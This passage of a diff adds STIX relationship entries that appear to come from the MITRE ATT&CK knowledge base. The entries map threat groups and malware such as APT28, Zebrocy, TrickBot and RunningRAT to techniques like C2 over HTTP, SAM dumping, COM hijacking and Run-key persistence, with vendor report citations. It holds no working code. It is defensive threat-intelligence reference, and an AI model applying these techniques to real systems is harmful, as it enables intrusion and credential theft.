"2020-03-20T16:37:06.295Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.039Z", + "external_references": [ + { + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015" + }, + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018" + }, + { + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html", + "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.", + "source_name": "Talos Seduploader Oct 2017" + }, + { + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--47df35dd-7d45-452d-af46-d04348a6b363", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) has obfuscated DLLs and functions using dummy API calls inserted between real instructions.(Citation: Proofpoint ZeroT Feb 2017)", + "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", + "modified": "2020-03-17T02:54:39.760Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "source_name": "Proofpoint ZeroT Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f7740e3c-c143-40b7-a8da-e797f5d74b50", + "description": "[USBStealer](https://attack.mitre.org/software/S0136) monitors victims for insertion of removable drives. When dropped onto a second victim, it also enumerates drives connected to the system.(Citation: ESET Sednit USBStealer 2014)", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "modified": "2020-03-11T17:45:54.149Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6d102ef8-c831-413d-b2cb-392517638b0b", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses HTTP for C2.(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T02:54:27.611Z", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. 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(2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9e235097-0a3a-410f-b3a1-ec50ea910d47", + "description": "[Forfiles](https://attack.mitre.org/software/S0193) can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)(Citation: \u00dcberwachung APT28 Forfiles June 2015)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--90ec2b22-7061-4469-b539-0989ec4f96c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/", + "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.", + "source_name": "\u00dcberwachung APT28 Forfiles June 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7d115073-c008-4394-867d-07c385d3db87", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent Word OLE compound documents with malicious obfuscated VBA macros that will run upon user execution.(Citation: Talos Cobalt Group July 2018)(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: Group IB Cobalt Aug 2017)(Citation: Morphisec Cobalt Gang Oct 2018)(Citation: Unit 42 Cobalt Gang Oct 2018)(Citation: TrendMicro Cobalt Group Nov 2017)", + "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "modified": "2020-06-23T19:41:51.997Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. 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Retrieved November 5, 2018.", + "source_name": "Morphisec Cobalt Gang Oct 2018" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/", + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "source_name": "Unit 42 Cobalt Gang Oct 2018" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3297e12f-85de-4630-926a-cddc54964880", + "description": "[Crimson](https://attack.mitre.org/software/S0115) uses a custom TCP protocol for C2.(Citation: Proofpoint Operation Transparent Tribe March 2016)", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "modified": "2021-10-15T14:37:09.416Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D. (2016, March 1). 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Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--895fbe96-6990-4ebd-a192-1653eb31a1ba", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) uses HTTP for C2 communications.(Citation: Unit 42 Bisonal July 2018)(Citation: Kaspersky CactusPete Aug 2020)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2021-10-17T16:05:26.967Z", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/", + "description": "Hayashi, K., Ray, V. (2018, July 31). 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(2018, May 18). Emissary Panda \u2013 A potential new malicious tool. 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Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--852009ed-1b50-4b08-9e77-53f0271d995c", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can dump the SAM database.(Citation: Kaspersky ProjectSauron Technical Analysis)", + "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", + "modified": "2020-03-20T00:11:13.213Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. 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Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b644de55-05f0-4e2e-93ee-db7915097ed1", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using AES256.(Citation: ESET GreyEnergy Oct 2018)", + "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "modified": "2020-03-20T23:57:45.762Z", + "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T13:53:14.840Z", + "external_references": [ + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9b5e38b3-31b5-4734-bef2-c05904479430", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects email addresses from Outlook.(Citation: Trend Micro Trickbot Nov 2018)", + "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", + "modified": "2020-03-29T22:56:25.397Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T14:11:44.227Z", + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. 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Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4c2924c1-dec5-4390-87d7-c52e24a92512", + "description": "[APT1](https://attack.mitre.org/groups/G0006) used a batch script to perform a series of discovery techniques and saves it to a text file.(Citation: Mandiant APT1)", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "modified": "2019-08-20T13:08:13.353Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T15:33:07.517Z", + "external_references": [ + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "description": "Mandiant. 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Retrieved July 18, 2016.", + "source_name": "Mandiant APT1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--894666a8-f37a-4c72-a61e-c130bc6ac197", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) has used Port Number 443 for C2 communications.(Citation: TrendMicro Lazarus Nov 2018)", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "modified": "2019-01-30T15:47:41.383Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T15:47:41.383Z", + "external_references": [ + { + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. 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Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4cc3f3af-73f1-4f36-9e28-de4f8ecc3247", + "description": "[Denis](https://attack.mitre.org/software/S0354) uses ipconfig to gather the IP address from the system.(Citation: Cybereason Cobalt Kitty 2017)", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "modified": "2019-04-24T20:56:04.729Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2019-01-30T20:01:45.383Z", + "external_references": [ + { + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + }, + { + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "source_name": "Volexity Patchwork June 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0cbc1f3f-7a32-4056-bfa6-25186ac5e6a4", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate processes.(Citation: Cylance Shell Crew Feb 2017)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-03-19T22:02:49.063Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a83e6a0f-fc31-472f-bffd-135dfc5ce683", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "modified": "2019-03-22T20:21:57.764Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8793b289-4b74-4119-8561-a9ad27dacdff", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList {42aedc87-2188-41fd-b9a3-0c966feabec1} or Microsoft WBEM New Event Subsystem {F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1} depending on the system's CPU architecture.(Citation: Palo Alto Networks BBSRAT)", + "target_ref": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "modified": "2020-03-20T16:38:16.421Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. 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Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9a62c02a-e373-494e-af73-f8b3274e8c9b", + "description": "The OsInfo function in [Komplex](https://attack.mitre.org/software/S0162) collects a running process list.(Citation: Sofacy Komplex Trojan)", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "modified": "2020-01-17T19:50:01.354Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9abd0448-a3b7-4262-8753-fe81dc91c434", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has used legitimate VPN, Citrix, or VNC credentials to maintain access to a victim environment.(Citation: FireEye Respond Webinar July 2017)(Citation: DarkReading FireEye FIN5 Oct 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "modified": "2019-04-24T19:41:25.818Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html", + "description": "Scavella, T. and Rifki, A. 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Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4a6248d4-4fa1-404a-abed-84e9b7c32dbe", + "description": "[Turla](https://attack.mitre.org/groups/G0010) used net use commands to connect to lateral systems within a network.(Citation: Kaspersky Turla)", + "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", + "modified": "2019-07-14T21:04:45.263Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.045Z", + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). 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Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7d1d4ffd-7c60-4a83-bcfa-66413bbe7212", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) adds itself to the Registry key Software\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence upon reboot.(Citation: McAfee Gold Dragon)", + "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", + "modified": "2020-04-21T23:09:31.610Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--677f32ad-2aa1-4fe3-8dab-73494891aa4a", + "description": "During the [T9000](https://attack.mitre.org/software/S0098) installation process, it drops a copy of the legitimate Microsoft binary igfxtray.exe. The executable contains a side-loading weakness which is used to load a portion of the malware.(Citation: Palo Alto T9000 Feb 2016)", + "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "modified": "2020-03-30T03:07:37.789Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--3933f2fa-9154-4ab4-b9cc-975a1dfbecf5", + "description": "(Citation: US-CERT TYPEFRAME June 2018)", + "target_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2019-12-20T14:28:39.530Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ff3d2ebf-ea7b-4fd2-a524-9a6f20bcf3e3", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses RC4 and Base64 to obfuscate strings.(Citation: Palo Alto Comnie)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2020-03-17T00:43:32.012Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ef318b23-1b8c-4c24-ad20-09c0977a73b3", + "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses the command line.(Citation: ClearSky Charming Kitten Dec 2017)", + "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", + "modified": "2020-03-20T17:05:40.089Z", + "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf", + "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", + "source_name": "ClearSky Charming Kitten Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--4527c528-8377-4349-ae5c-95c04cabd3d4", + "description": "[H1N1](https://attack.mitre.org/software/S0132) uses multiple techniques to obfuscate strings, including XOR.(Citation: Cisco H1N1 Part 1)", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "modified": "2019-04-29T18:23:16.024Z", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities", + "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 1" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--5e82824d-3548-4ffe-98fd-8e432a36847b", + "target_ref": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "modified": "2020-03-19T19:10:25.594Z", + "source_ref": "course-of-action--ec42d8be-f762-4127-80f4-f079ea6d7135", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ef79ec2f-fd7f-4f0b-851c-d215693987be", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "modified": "2021-07-20T23:03:00.632Z", + "source_ref": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.017Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": 